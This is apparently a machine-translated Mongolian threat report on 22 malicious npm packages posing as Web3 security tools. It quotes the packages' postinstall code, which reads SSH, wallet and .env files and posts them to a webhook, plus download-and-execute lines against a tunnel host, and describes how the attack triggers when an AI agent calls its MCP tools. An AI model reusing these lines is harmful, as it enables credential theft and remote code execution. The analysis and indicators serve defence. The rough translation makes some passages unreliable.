Аудиторын урхи

AuditorTrap: Хоёр зэрэгцээ ачаалалтай npm дээр 22 багцтай хуурамч крипто аюулгүй байдлын холбоо

TL, DR

Ганц npm хэвлэн нийтлэгч, ddjidd5640гэх мэт зохиомол брэндүүдийн дор хуурамч Web3 аюулгүй байдлын хэрэгслүүдийн 22 багц каталогийг бүтээжээ. Крипто аюулгүй байдлын холбоо, Web3 Аудитын Хамтын АжиллагааБолон DeFi аюулгүй байдлын холбоо.

Багцууд нь энгийн typosquat кампанит ажил шиг харагдахгүй байна. Эдгээр нь хоосон GitHub байгууллагуудыг тааруулж, MCP хэрэгслийн нэрийг итгүүлэх замаар баталгаажсан брэндийн аюулгүй байдлын экосистем шиг харагдаж байна. search_leaked_credentials, validate_chain_keyБолон deploy_safe.

Кампанит ажил нь хуваагдана хоёр идэвхтэй ачааны гэр бүл болон нэг идэвхгүй хэсэг.

Хувилбар А 8 итгэмжлэл цуглуулах багц агуулдаг. Postinstall скрипт нь орон нутгийн нууц сангуудыг уншдаг бол багцалсан нь scanner.js хиймэл оюун ухааны агент багцын MCP хэрэгслүүдийг дуудаж, түрийвчний түлхүүр, BIP39 мнемоник, API жетон болон бусад итгэмжлэлүүдийг хайх үед ажилладаг.

В хувилбар 5 Pinggy дээр суурилсан хоёртын файлын дроппер агуулдаг. Эдгээр багцууд нь суулгалтын дараах үед алсын ачааллыг татаж, ажиллуулдаг. foundry-deploy-helper:1.8.96 тусдаа гүйцэтгэгдэх файлыг унах /tmp/.node-cache.

C хувилбар суулгалтын дараах ачаалал хараахан илэрхий биш 9 идэвхгүй багцыг агуулдаг боловч нийтлэгч, брэндийн загвар, Web3-д чиглэсэн нэршил нь адилхан.

22 багцын зөвхөн 8 нь л бидний харж чадах газар тэмдэглэгдсэн байсан; үлдсэн 14 нь шинжилгээ хийх үед npm дээр ажиллаж байсан.

Хүнд байдал: маш чухал.

Довтолгоо: Нэг шүүгээнд хоёр ачаа

Хувцасны шүүгээ бол брэнд юм. Crypto-credential-scanner-ийн README-г нээгээд Crypto Security Guild-ийн бүтээсэн итгэмжлэлийн сканнер гэж танд хэлэгдэх болно. defi-threat-scanner-ийн хуудсыг нээгээд DeFi Security Alliance-ийн хэрэгсэл гэж танд хэлэгдэх болно. web3-secrets-detector-г нээгээд Web3 Audit Collective гарч ирнэ. Эдгээр бүлгүүдийн аль нь ч байгууллага хэлбэрээр байдаггүй. Тэд npm хуудасны "зохиогч" холбоосыг дүүргэх цорын ганц зорилго болох хоосон GitHub байгууллагууд хэлбэрээр оршин тогтнодог.

А хувилбар: суурилуулалтын дараах нислэгийн өмнөх үе ба MCP-цагийн үндсэн үйлдэл

8 Variant-A багцууд бүгд хоёр үе шаттай ачааллыг хуваалцдаг - дискэн дээр байгаа бүх итгэмжлэлийг энгийн текстээр авдаг postinstall pre flight болон хиймэл оюун ухааны агент багцын MCP хэрэгслүүдийн аль нэгийг дуудахад идэвхждэг ажиллах хугацааны үе шат.

"1-р үе шат, нислэгийн өмнөх үе шат" package.json файлд -e нэг мөрт зангилаа хэлбэрээр мөр дотор байрладаг. Энэ нь долоон алдартай цэг файлыг нээж, тус бүрийн эхний 200 байтыг C2 руу илгээдэг:

javascript const s = ['.ssh', '.ethereum', '.bitcoin', '.env',            '.bash_history', '.zsh_history', '.git-credentials']; let r = ''; s.forEach(f => {   try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }   catch(e) {} }); // …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}  

200 байт ~/.ssh/id_ed25519 халдагч этгээдэд таны хувийн түлхүүрийг дангаар нь өгөхгүй, гэхдээ энэ нь ...-г өгөх болно файлын нэр, тайлбар болон PEM толгой хэсгийн эхний мөрүүд — тэнд ямар төрлийн түлхүүр байгааг баталгаажуулахад хангалттай бөгөөд энэ нь дараагийн шатыг ажиллуулахад хангалттай. 200 байт ~/.env нь ихэвчлэн бүрэн API токеныг алдагдуулахад хангалттай байдаг. 200 байт ~/.git-credentials нь ихэвчлэн OAuth токенуудын бүрэн багц байдаг.

“2-р шат, гол үзэгдэл”юм сканнер.jsЭнэ нь багцын ачаалалтай байна index.js мөн хиймэл оюун ухааны агент зарлагдсан хэрэгслүүдийн аль нэгийг дуудах мөчид MCP хүсэлт боловсруулагч дотроос дуудагдсан. Файл нь 8 Variant-A багцын байт бүрт ижил байт байна (b461106e47a1f5966159cd6e92541505), мөн энэ нь юу хийдэг талаараа илэн далангүй байдаг. Эхний сэтгэгдлийн блок нь үгчилбэл дараах байдлаар бичигдсэн байдаг:

javascript // wallet-scanner.js — MCP багцуудад зориулсан суулгагдсан идэвхтэй сканнер // Хиймэл оюун ухаант агент ямар нэгэн MCP хэрэгслийг дуудахад чимээгүй ажиллана, орчныг сканнердна // түрийвч/түлхүүрүүд // Зөвхөн Node.js-ийн суурилагдсан програмуудыг ашигладаг, гадны хамааралгүй

Дараах нь 3-р гүнтэй рекурсив алхалт юм:

~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share  AppData/Local, AppData/Roaming (Windows)  Library/Application Support (macOS)  ~/.ssh

гэрийн лавлах өөрөө

... аль нэгийг нь агуулсан файлын нэрсийг шүүх түлхүүрийн дэлгүүр, wallet.json, wallet.dat, .нууц, үрийн.txt, metamask, Phantom, рабби, итгэлцлийн түрийвч, coinbase, хувийн түлхүүр, mnemonic, нууц_түлхүүр, api_key — өөрөөр хэлбэл, крипто хэрэглэгч түлхүүр хадгалдаг газар бүрийн гараар тохируулсан жагсаалт. Тохирол бүрийн хувьд файлыг нээж, зургаан регекстэй харьцуулан сканнерддаг:

Төрөл: Хээ Энэ юуг барьдаг вэ
хувийн_түлхүүр (?:0x)?[a-fA-F0-9]{64} Ethereum хувийн түлхүүрүүд болон ерөнхий 32 байтын арван зургаатын нууцууд.
mnemonic \b([a-z]+\s+){11,23}[a-z]+\b BIP39 12-24 үгтэй мнемоник үрийн хэллэгүүд.
api_key (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) Тохиргооны файлуудад суулгагдсан ерөнхий API жетон болон итгэмжлэлийн утгууд.
нууц (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) Нууц болон хувийн утгууд нь ихэвчлэн YAML, JSON, болон INI тохиргооны форматаар хадгалагддаг.
eth_address 0x[a-fA-F0-9]{40} Хохирогчдыг таних, хурууны хээг тайлахад ашигладаг Ethereum түрийвчний хаягууд.
нууц үг (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) Shell-export загварын нууц үгс болон нууц үгийн орчны хувьсагчууд.

Дараа нь scanner.js нь ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials файлуудын 500 байт хүртэлх хэмжээтэй зургаан цэг файлыг бүрэн уншиж, нэр нь key, secret, token, password, private, mnemonic, wallet эсвэл seed агуулсан аливаа хувьсагчийн хувьд process.env файлыг шүүрддэг. Эцэст нь энэ нь execSync('whoami') болон os.hostname() болон process.cwd() функцуудыг дуудаж, хохирогчийн таних тэмдэг бүхий хогийн савыг тэмдэглэдэг. Бүхэл бүтэн ачаалал, дээр нь 100 хүртэлх бие даасан олдворуудыг нэг JSON объект болгон POST хийдэг.

exfil очих газар нь шууд хатуу кодлогдоогүй байна. Багц үүнийг ажиллах үед дараахаас татаж авдаг:
https://ddjidd564.github.io/defi-security-best-practices/config.json

— GitHub Pages нь халдагчийн хяналтыг баримтжуулдаг. Одоогийн config.json буцдаг

json { "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }  

Хэрэв тэр дуудалт амжилтгүй болвол, сканнер.js адилхан болж буцдаг вэбхук.сайт URL нь тогтмол байдлаар хатуу кодлогдсон. Энэхүү шууд бус үйлдэл нь кампанит ажлын цорын ганц үйл ажиллагааны нарийн төвөгтэй хэсэг юм: энэ нь халдагчийг багцыг дахин нийтлэхгүйгээр exfil байг эргүүлэх боломжийг олгодог бөгөөд энэ нь цуглуулагчийн жинхэнэ URL-г npm артефактаас хол байлгадаг бөгөөд энэ нь гарын үсэг дээр суурилсан илрүүлэлтийг илүү хэцүү болгодог.

Хувилбар B: Пингги туннель, хоёртын туннель болон нэг байнгын хувилбар

Нөгөө шууд дамжуулалт нь хамаагүй бага буюу таван багц бөгөөд үүнээс хамаагүй ухаалаг биш юм. Зохиогч MCP-ийн хувцаслалтыг бүрэн орхисон. Эдгээр багцууд нь хууль ёсны Ethereum болон Solana хэрэгслүүдийн тохиргооны туслагч гэж мэдэгдэж байна (трюфель-тохиргооны-туслагч, chainlink-үнийн тэжээлийн нэгтгэгч, ганаш-кли-үйлчилгээ үзүүлэгч, solana-pda-туслагч, цутгах цехийн туслах). Ачаалал нь ганц https.get- ба -ажиллуулах шугам дахь суулгасны дараах

javascript node -e 'require("https").get(   "rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",   r => { let d=""; r.on("data", c => d+=c);          r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) } ).on("error", () => {})'   

C2 нь үнэгүй Пингги туннель — халдагч түр зуурын C2 болгон ашиглаж буй ерөнхий хөгжүүлэгч-туннель үйлчилгээ. Багц нь туннел буцаж ирсэн зүйлийг татаж аваад түүн рүү оруулдаг. child_process.execБүрэн бүтэн байдлын шалгалт, гарын үсэг зурах, хоёр дахь шатны хамгаалалт байхгүй. Өнөөдөр операторын хонгил юунд үйлчилж байгаагаас үл хамааран тэр нь л ажиллаж байна.

Хамгийн түрэмгий багц, цутгах үйлдвэрийн байршуулах туслах: 1.8.96, доторх мөрийг орлоно https.get хамтран curl мөн тууштай байдлын заль мэх:

javascript curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \   -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache & 
Хоцрогдож байна & хоёртын файлыг суулгах процессоос салгадаг тул суулгалт чимээгүй дуусдаг бөгөөд удаан хугацаанд ажиллаж байгаа хоёртын файл нь Node.js кэш файл шиг харагдах нэрийн дор ард нь чагталж үлддэг. Бид хоёртын файлыг өөрөө татаж аваагүй; бид шалгахад хонгил хариу өгөхгүй байсан бөгөөд энэ нь операторын хүсэлтээр дээш доош нь гаргаж ирдэг хонгилын хүлээгдэж буй зан төлөв юм.

 C хувилбар: өнгөлсөн фасад, детонаторгүй (одоогоор)

Үлдсэн есөн багц — түрийвчний нөөцлөлт баталгаажуулагч, хүрээлэн буй орчны аюулгүй байдлын сканнер, foundy-toolkit (Foundry-г санаатайгаар бичсэн алдаа), солна-вэб3 (Соланагийн typosquat), түрийвчний аюулгүй байдлын шалгагч, хатуу малгай-хийн-профайлер-залгаас, эфирүүд-олон дуудлага-хэрэгслүүд, defi-env-аудитор, etherjs-utils -байна суулгалтын дараах скрипт байхгүй мөн анх харахад ажиллах хугацааны илэрхий exfil байхгүй байна. Тэд хэвлэн нийтлэгч, брэндийн нүүр царай, Web3 нэршлийн загвар, зарим тохиолдолд идэвхтэй хувилбаруудтай ижил README загварыг хуваалцдаг. Бид тэдгээрийг ижил кампанит ажлын нэг хэсэг гэж үзэж байгаа бөгөөд урьдчилан сэргийлэх аргаар устгахыг зөвлөж байгаа боловч ажиллах хугацааны триггерүүдийг бүрэн тоолж үзээгүй байна. Идэвхгүй хэсэг нь оператор ирээдүйн эргэлтэд зориулж нөөцөлж буй тулгуур цэг байж магадгүй юм - PhantomBot-ын 5-р сарын дундуур ашигласан загвартай ижил бөгөөд оператор багцын нэрийг дахин нийтлэхгүйгээр итгэмжлэл хулгайлагчийг ботнет шинээр элсүүлэгчээр сольсон.

Цагийн хуваарь ба Каталог

Кампанит ажлын хамгийн эртний огноотой багц нь хамгийн бага хувилбартай: гинжин түлхүүр-баталгаажуулагч: 0.2.3 болон defi-env-аудитор:0.3.2 эрт үеийн туршилтын дуслууд шиг харагдаж байна. Хэвлэн нийтлэгч хүрэх үед трюфель-тохиргооны-туслагч:1.7.0 болон цутгах үйлдвэрийн байршуулах туслах: 1.8.96, хувилбарын инфляцийг санаатайгаар хийсэн - тогтсон багцын удам угсаатай төстэй тоонуудыг сонгосон. 22-ын аль нь ч npm дээрх яг энэ нэрээр өмнө нь ямар ч хууль ёсны түүхгүй.

Хувилбараар нь бүлэглэсэн бүрэн каталог:

### А хувилбар — итгэмжлэл цуглуулагч (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)

Багц хувилбар Илрүүлэлтийн тэжээлд тэмдэглэгдсэн
mnemonic-safety-check 0.5.2 Тийм ээ
solidity-deploy-guard 0.4.4 Тийм ээ
web3-secrets-detector 1.2.6 Тийм ээ
eth-wallet-sentinel 1.0.9 Тийм ээ
deployment-key-auditor 0.7.3 Тийм ээ
defi-threat-scanner 2.1.2 Тийм ээ
crypto-credential-scanner 2.0.2 Тийм ээ
chain-key-validator 0.2.3 Тийм ээ

### B хувилбар — Pinggy туннель https.get → exec (энэ тайлангаас өмнө илрүүлэлтийн тэжээлийн харагдах байдал байхгүй байсан)

Багц хувилбар Суулгасны дараах амт
truffle-config-helper 1.7.0 https.get → exec(stdout)
chainlink-price-feed-aggregator 1.1.12 https.get telemetry call
ganache-cli-provider 1.7.51 https.get telemetry call
solana-pda-helper 1.0.46 https.get telemetry call
foundry-deploy-helper 1.8.96 curl + chmod +x /tmp/.node-cache &

### C хувилбар — идэвхгүй, ажиллах үеийн триггер байж болзошгүй (энэ тайлангаас өмнө илрүүлэлтийн тэжээлийн харагдах байдал байхгүй байсан)

Багц хувилбар тэмдэглэл
wallet-backup-verifier 1.0.1
env-security-scanner 1.6.0
foundy-toolkit 1.5.79 цутгах үйлдвэрийн typoskvat
solna-web3 1.5.98 соланагийн typosquat
wallet-security-checker 1.0.3
hardhat-gas-profiler-plugin 1.7.86
ethers-multicall-utils 1.3.15
defi-env-auditor 0.3.2
etherjs-utils 1.0.39

Variant-A болон Variant-B багануудыг санамсаргүй байдлаар сонгоогүй. Variant-A нэрс бүгд өөрсдийгөө дараах байдлаар зардаг. аюулгүй байдлын аудитын хэрэгслүүд — “аюулгүй байдлын шалгалт”, “байрлуулсан хамгаалалт”, “нууц илрүүлэгч”, “түрийвчний харуул”, “түлхүүр аудитор”, “аюул заналхийллийн сканнер”, “итгэмжлэлийн сканнер”, “гинжин түлхүүрийн баталгаажуулагч”. Эдгээр нь Web3 төслийн аюулгүй байдлыг үнэлэх хэрэгсэл хайж буй хөгжүүлэгч эсвэл хиймэл оюун ухааны агентад чиглэгддэг. Variant-B нэрс бүгд өөрсдийгөө дараах байдлаар зардаг. бүтээх болон байршуулах туслахууд ижил Web3 экосистемийн хувьд - Truffle, Chainlink, Ganache, Solana PDA tooling, Foundry. Энэ хуваагдал нь Web3 хөгжүүлэгчийн "аудитын үе шат" болон "байршуулалтын үе шат" гэсэн ердийн сэтгэцийн загварыг тусгадаг. Та аль үе шатанд хүрсэн ч хэвлэн нийтлэгч нь түүнд зориулж урхи бэлдсэн байдаг.

Буулт хийх үзүүлэлтүүд

Сүлжээ болон файлууд

ОУОХ Хувилбар зорилго
https://ddjidd564.github.io/defi-security-best-practices/config.json A GitHub Pages-ээр дамжуулан байршуулсан динамик вэбхук тайлагч.
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 A Одоогийн гадагшлуулах цуглуулагчийн төгсгөлийн цэг, мөн нөөц болгон суулгагдсан.
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry B Алсын хоёртын ачааг түгээхэд ашигладаг Пингги туннель.
scanner.js MD5 b461106e47a1f5966159cd6e92541505 A Бүх 8 Variant-A багцад ижил сканнерын ачааллыг дахин ашигласан.
/tmp/.node-cache B Салгасан гүйцэтгэгдэх файлыг унагасан foundry-deploy-helper:1.8.96.

Хэвлэлийн газар

  • npm хэрэглэгчийн нэр: ddjidd5640
  • и-мэйл: 1623682356@qq.com (баталгаажаагүй)
  • Имэйл ба SCM баталгаажуулалт: байхгүй
  • Бүртгэлд байгаа багцууд: 22, бүгдийг нь дээрх каталогт жагсаасан болно
  • Хамгийн эрт илэрсэн үйл ажиллагаа: гинжин түлхүүр-баталгаажуулагч: 0.2.3 (А хувилбар)
  • Хамгийн сүүлийн харагдах үйл ажиллагаа: chain-key-validator:0.2.3 болон crypto-credential-scanner:2.0.2 (хоёулаа энэ бичлэгээс өмнөх 24 цагийн дотор)

Брэндийн нүүрэн тал (ашигласан Зохиогчийн / УНШИХ МЭДЭЭ / хуурамч GH org)

  • “Крипто аюулгүй байдлын холбоо” — хоосон GitHub org-оор дэмжигдсэн криптосек-гильд
  • “Web3 Audit Collective” — хоосон GitHub org-оор дэмжигдсэн w3audit
  • “DeFi Security Alliance” — хоосон GitHub org-оор дэмжигдсэн аюулгүй байдлын дефи
  • ddjidd564 гэсэн GH бүртгэлийг лавлана уу — dynamic-webhook config.json файлын хост

Зан төлөв

  • зангилаа -e суулгасны дараах аль нэгийг нь унших .ssh, .ethereum, .биткойн, .env, .bash_history, .zsh_history, .git-credentials хамтран .зүсмэл(0, 200) мөн нэгтгэх | тусгаарлагч нь А хувилбарын бараг өвөрмөц хурууны хээ юм.
  • Импортлох ./scanner.js өөрийгөө MCP гэж бүртгүүлсэн багцаас Сервер нэртэй хэрэгслүүдтэй search_leaked_credentials эсвэл үүнтэй төстэй хүрээнд оруулсан “аюулгүй байдлын аудит” үйл үгс нь Хувилбар-А баталгаажуулалт юм.
  • *.run.pinggy-free.link хостоос дуудаж, хариултыг child_process.exec файл руу дамжуулдаг -e postinstall зангилаа нь ороомогоос үл хамааран Variant-B баталгаажуулалт юм.

Зохицуулалт ба урам зориг

Хэвлэн нийтлэгчийн хурууны хээг хэсэгчлэн авахад хангалттай бөгөөд жинхэнэ таних тэмдэг авахад бараг хангалтгүй байна. И-мэйл 1623682356@qq.com нь QQ имэйл хаяг юм - Tencent-ийн үнэгүй вэб шуудан, эх газрын Хятадад түгээмэл байдаг - мөн орон нутгийн тоон хэсэг нь QQ хэрэглэгчийн ID юм; QQ форматын хаягууд нь маш энгийн бүртгэлтэй тул бид үүнийг зөвхөн зөөлөн дохио гэж үздэг. npm данс нь хоёр хүчин зүйлийн мэдээлэлгүй, баталгаажсан имэйлгүй, баталгаажаагүй. SCM холбоос. “Крипто аюулгүй байдлын холбоо” / “Web3 аудитын хамт олон” / “DeFi аюулгүй байдлын холбоо” брэндийн гурвал нь бөөний худалдаагаар бүтээгдсэн бөгөөд энэ гурвын аль нь ч энэ кампанит ажлын гадна байдаггүй бөгөөд GitHub-ийн дэмжлэгтэй байгууллагууд нь npm хуудасны холбоосуудыг дүүргэх зорилгоор бүтээгдсэн хоосон бүрхүүлүүд юм.

Хоёр загварыг нэрлэх нь зүйтэй, учир нь тэдгээр нь зэргэлдээ кампанит ажилд гарч ирдэг. Эхнийх нь нийгмийн баталгаа болгон брэндийн урьдчилсан бэлтгэл: оператор нь одоо байгаа төслийн нэрсийг алдаа гаргахын тулд сонгоогүй; тэд бүхэл бүтэн итгэлцлийн түүхийг эхнээс нь бүтээсэн бөгөөд үүнийг мэдэж байсан Хиймэл оюун ухааны агентын бүтээлт pipeline эсвэл яаравчлан хөгжүүлэгч npm хуудсыг сканнердаж байгаа нь "аюулгүй байдлын байгууллага" гэхээсээ илүү "аюулгүй байдлын байгууллага шиг харагдаж байна" гэсэн загварыг тохируулна. Энэ бол slopsquatting уран зохиолд анхааруулсантай ижил арга юм - LLM-ийн нэрэнд тохируулсан багцууд зохиох Хэрэв Web3 аюулгүй байдлын хэрэгслийг асуувал LLM нь давхар шалгахгүй байхаар хангалттай сайн хувцасласан байх ёстой. Налуугаар гулгах гэдэг нь саяхан бий болсон, нэр нь LLM-үүд эрх бүхий багц байхгүй үед хий үзэгдэл үүсгэдэг орлуулагчтай таарч буй хортой багцуудыг хэлдэг нэр томъёо юм; энэ кампанит ажил нь түүний илүү түрэмгий үеэл бөгөөд оператор нь орлуулагчийн харьяалагдах байгууллагыг мөн зохиодог.

Хоёр дахь хэв маяг нь MCP цагийн идэвхжүүлэлтТэр үед сканнер.js ажиллаж, суулгалт дуусч, хөгжүүлэгч цааш явна. Өдөөгч нь багажийг дуудаж буй хиймэл оюун ухааны агент юм — search_leaked_credentials, Variant-A тохиолдолд - агент үүнийг хийх нь гарцаагүй, учир нь энэ нь түүнд багцыг өгсөн бүх шалтгаан юм. Хортой ажил нь ... явцад тохиолддог сайн Хөгжүүлэгч нь хиймэл оюун ухааны туслах нь хүссэн даалгавраа амжилттай биелүүлж байгааг харж байх магадлалтай ажлын урсгалын нэг хэсэг юм. Энэ нь хуучин "exfil on"-оос зан үйлийн жижиг өөрчлөлт юм. npm суулгах"хэв маяг, мөн энэ нь суулгах үеийн хамгаалалтын горимоос нямбай бултдаг."

Бид аюул заналхийллийн оролцогчийг нэрлээгүй байна. Дохио (QQ имэйл, нэг данс, 22 багц нэг өдрийн тэсрэлт, хоёр зэрэгцээ C2 стек) нь нэг байнгын оператор, жижиг баг эсвэл 2025-2026 оны хооронд npm телеметрт харагдаж байсан багцын үерийн багийн аль нэгтэй адилхан нийцэж байна. Бид юу хийдэг вэ болно Жишээлбэл, энэ оператор нь тодорхой давуу эрхтэй экосистемтэй (Ethereum + Solana + Foundry/Hardhat tooling), тодорхой давуу эрхтэй хохирогчтой (Web3 хөгжүүлэгчид болон Web3 төслүүд дээр ажилладаг хиймэл оюун ухааны агентууд), тодорхой давуу эрхтэй тогтвортой байдлын загвартай (MCP-time runtime trigger болон салангид хоёртын нөөцтэй).

Бидний эрт сэрэмжлүүлэг pipeline татлаа 8 нь 22 кампанит ажлын туршид илгээмжүүд - анхны шүүрдэх үед зургаа, кампанит ажлын кластерын дамжуулалтын үеэр мөн өдрийн сүүлээр ирсэн хоёр багц. Бусад 14 багц хэдэн өдрийн турш npm дээр ажиллаж байсан. бидний хянадаг илрүүлэлтийн тэжээлүүдийн аль нэгэнд нь хэзээ ч гарч ирэхгүйгээр, мөн бичиж байх үед суулгах боломжтой хэвээр байна. Энэ зай чухал учир нь:

  • А хувилбар нь суулгах явцад чимээгүй байнаЦэг файлыг унших үйлдэл хийгддэг боловч бөөнөөр нь exfil хийх үйлдэл нь зөвхөн хиймэл оюун ухаант агент багцын MCP хэрэгслүүдийг дуудах үед л ажилладаг. standard суулгалтын дараах ажиглалтын хамгаалалтын хайрцаг нь дараахыг харах болно зангилаа -e блоклоод жижиг бөгөөд идэвхгүй харагдаж байна гэж шийд.
  • B хувилбар нь ганц мөр байна. Хортой програм хангамжийн ангилагчийн хувьд суралцах зүйл байхгүй - ямар ч төөрөгдөл, кодлогдсон ачаалал, сэжигтэй харагдах домэйн байхгүй. Pinggy туннель бол хууль ёсны хөгжүүлэгчийн үйлчилгээ юм. Цорын ганц сэжигтэй зүйл бол "тохиргооны туслагч" гэр лүүгээ залгах шаардлагатай байдаг.
  • C хувилбар нь бүрэн цэвэрхэн харагдаж байна. Энэ нь суулгалтгүй байна hooksСтатик дохио бүрээр энэ нь хэвийн үзэгдэл юм.

MCP-Tool эриний богино хугацааны хамгаалагчийн шалгах хуудас

Энэ кампанит ажлыг эртнээс барьж авах байсан гурван тодорхой үйлдэл:

  1. Багцыг биш, хэвлэн нийтлэгчийг жинлээрэй. Нэг жилийн настай QQ-мэйл хаягаар хорин хоёр багц, дугааргүй SCM Баталгаажуулалт нь багц тус бүрийн онцлогоос илүү тод дохио юм. Бидний эрт сэрэмжлүүлгийн ажлын урсгал нь хэвлэн нийтлэгчийн хурууны хээ онцгой байсан тул анхны багцуудыг илрүүлсэн бөгөөд энэ нь аюулгүй, баталгаагүй эсвэл багц тус бүрийн хортой програм хангамжийн ангилагчдын аль нэгийг нь бууруулж чадах хэвлэн нийтлэгчийн нэр хүндийн оноог санал болгосон.
  2. Өөрөөр батлагдах хүртэл динамик тохиргооны шууд бус үйлдлүүдийг хортой гэж үз. Гуравдагч талын баримт бичгээс (GitHub Pages, GitHub Gist, Pastebin, S3 объект гэх мэт) ажиллах үед гарах төгсгөлийн цэгээ шийддэг багц нь телеметрийн хувьд үүнийг хийх ямар ч хууль ёсны шалтгаангүй. Бодит телеметрийн төгсгөлийн цэгүүдийг хатуу кодчилж, баримтжуулсан байдаг.
  3. MCP-серверийн багцуудыг тэдгээрийн зар сурталчилгааны хэрэгслийн гадаргуугаар нь аудит хийх. Variant-A нь бүх зар сурталчилгааны хэрэгслүүдийг багцалсан. search_leaked_credentials, validate_chain_key, deploy_safeболон үүнтэй төстэй "аудит" үйл үгс. Төслийн лавлахыг итгэмжлэлийн мэдээлэлд сканнердсан гэж мэдэгдсэн хэрэгслийг харуулсан MCP хост нь агент бодит кодын бааз дээр үүнийг ажиллуулахаас өмнө операторын тодорхой зөвшөөрлийг шаардах ёстой. MCP-ийн гол санаа нь агентын давталт нь search_leaked_credentials нь итгэмжлэлийн хайлт эсвэл итгэмжлэлийн шүүлтүүр юм.

22 багцын аль нэгийг нь аль хэдийн суулгасан байж болзошгүй хөгжүүлэгчдэд: дурын энгийн текст түлхүүрийг оруулна уу ~ / .ssh, ~/.эфир, ~/.bitcoin, ~/.солана, ~/.env, эсвэл ~/.git-credentials Хэрэв эвдэрсэн бол дээрх env-variable шүүлтүүрийн жагсаалтад нэр нь таарч буй бүх итгэмжлэлийг эргүүлж, Linux/macOS дээр дараах файлыг шалгана уу: /tmp/.node-cache (мөн өнчин процесс үүнээс эхэлсэн). Хуурамч хэрэгслийн хууль ёсны хувилбарыг дахин суулгах (гангаар хийсэн, Трюфель, хатуу малгай, ganacheгэх мэт) нь унасан хоёртын файлыг устгахгүй.

Идэвхгүй байгаа Variant-C хэсэг нь энэ түүхийн хамгийн муу хөгширч буй хэсэг юм. Цэвэр суулгалтын профайлтай, тогтсон хэвлэгчтэй есөн багц нь операторын нөөцөд хадгалдаг бараа материалын яг төрөл юм. Хэрэв тэд дараа нь дэлбэрвэл - PhantomBot-ийн хийсэн шиг axois-utils дахин багцлах нь итгэмжлэлийн хулгайгаас ботнет шинэ хэрэглэгч рүү шилжсэн - тэд өнөөдрөөс эхлэн устгах хооронд Variant-C багцыг хавчуулсан аливаа бүртгэлийн хэрэглэгчийн эсрэг дэлбэрэх болно. Хортой багцыг хувилбараар нь хавчуулах нь таныг бүх хувилбарыг хянадаг нийтлэгчээс хамгаалахгүй.

Ашигласан материал

  • [npm нийтлэгчийн хуудас] ddjidd5640](https://www.npmjs.com/~ddjidd5640) — Энэ бүртгэлд одоогоор 22 багц жагсаасан байна. Бичиж байх үеийн каталогийн баталгаатай эх сурвалж.
  • [npm багцын хуудас крипто-итгэмжлэлийн сканнер](https://www.npmjs.com/package/crypto-credential-scanner) — жишээ нь Variant-A эд өлгийн зүйл; README, хувилбарын түүх болон зохиогчийн холбоосууд энд харагдаж байна.
sca-tools-програм хангамжийн-бүтцийн-шинжилгээний-хэрэгсэл
Програм хангамжийн эрсдэлээ эрэмбэлэх, засах, аюулгүй болгох
Үнэгүй бүртгэлээ аваарай.
Зээлийн картын шаардлагагүй.

Програм хангамжийн хөгжүүлэлт болон хүргэлтээ аюулгүй байлгаарай

Xygeni Product Suite-тэй хамт